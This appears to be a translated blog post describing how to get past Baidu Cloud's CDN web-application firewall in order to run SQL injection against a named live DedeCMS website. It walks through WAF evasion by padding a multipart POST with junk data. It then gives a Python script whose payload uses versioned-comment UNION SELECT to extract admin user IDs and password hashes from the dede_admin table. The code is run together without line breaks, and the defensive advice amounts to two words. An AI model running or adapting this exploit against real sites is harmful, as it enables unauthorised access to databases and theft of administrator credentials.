Baidu cloud CDN protection rules Bypass

Baidu cloud CDN protection rules Bypass

Baidu cloud accelerates waf rule Bypass

1: When dedecms features were created, the domain names were collected,

Www.52jscn.com. This website is of the dedecms type. However, during the payload test, we found that this website uses Baidu cloud acceleration protection.

2: Submit
 

http://www.52jscn.com/plus/search.php?keyword=123%20and%201=1

 

Baidu cloud intercepted



3: Use the FF tool to change GET to post, and find that it is intercepted.
 

4: Add dirty data to the urlencode method of POST, continue to submit, and find that it is intercepted.



5: In this case, the form-data method of POST is used and the data is filled. The test is successful and the bypass is dropped.

Test code:
 

import urllib2import reimport urlliburl = 'http://www.52jscn.com/plus/recommend.php'payload = 'union select 1 from table'header = {    'User-Agent' : 'Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; Nexus S Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1','Content-Type' : 'multipart/form-data; boundary=----WebKitFormBoundarycMYRelX1B2H69xy9'}def getdata(m):    return "1"*mdef postdata(n):    u = "aa\\'and char(@`'`) /*!50000Union*/ /*!50000SeLect*/ 1,2,3,group_concat(userid,0x23,pwd),5,6,7,8,9 from `dede_admin`#"    data = '------WebKitFormBoundarycMYRelX1B2H69xy9\r\n'    data += 'Content-Disposition: form-data; name="aid"\r\n\r\n'    data += '1\r\n'    data += '------WebKitFormBoundarycMYRelX1B2H69xy9\r\n'    data += 'Content-Disposition: form-data; name="m"\r\n\r\n'    data += '%d\r\n' % 1*n    data += '------WebKitFormBoundarycMYRelX1B2H69xy9\r\n'    data += 'Content-Disposition: form-data; name="_FILES[type][tmp_name]"\r\n\r\n'    data += '%s\r\n' % u    data += '------WebKitFormBoundarycMYRelX1B2H69xy9\r\n'    data += 'Content-Disposition: form-data; name="_FILES[type][name]"\r\n\r\n'    data += '1.jpg\r\n'    data += '------WebKitFormBoundarycMYRelX1B2H69xy9\r\n'    data += 'Content-Disposition: form-data; name="_FILES[type][type]"\r\n\r\n'    data += 'application/octet-stream\r\n'    data += '------WebKitFormBoundarycMYRelX1B2H69xy9\r\n'    data += 'Content-Disposition: form-data; name="_FILES[type][size]"\r\n\r\n'    data += '6878\r\n'    data += '------WebKitFormBoundarycMYRelX1B2H69xy9--\r\n\r\n'    return dataproxy = "http://127.0.0.1:8080"opener = urllib2.build_opener(urllib2.ProxyHandler({'http':proxy}))urllib2.install_opener(opener)request = urllib2.Request(url,postdata(10000),headers=header)response = urllib2.urlopen(request).read()print response

Output the printed result
 

 

Solution:

Add Rules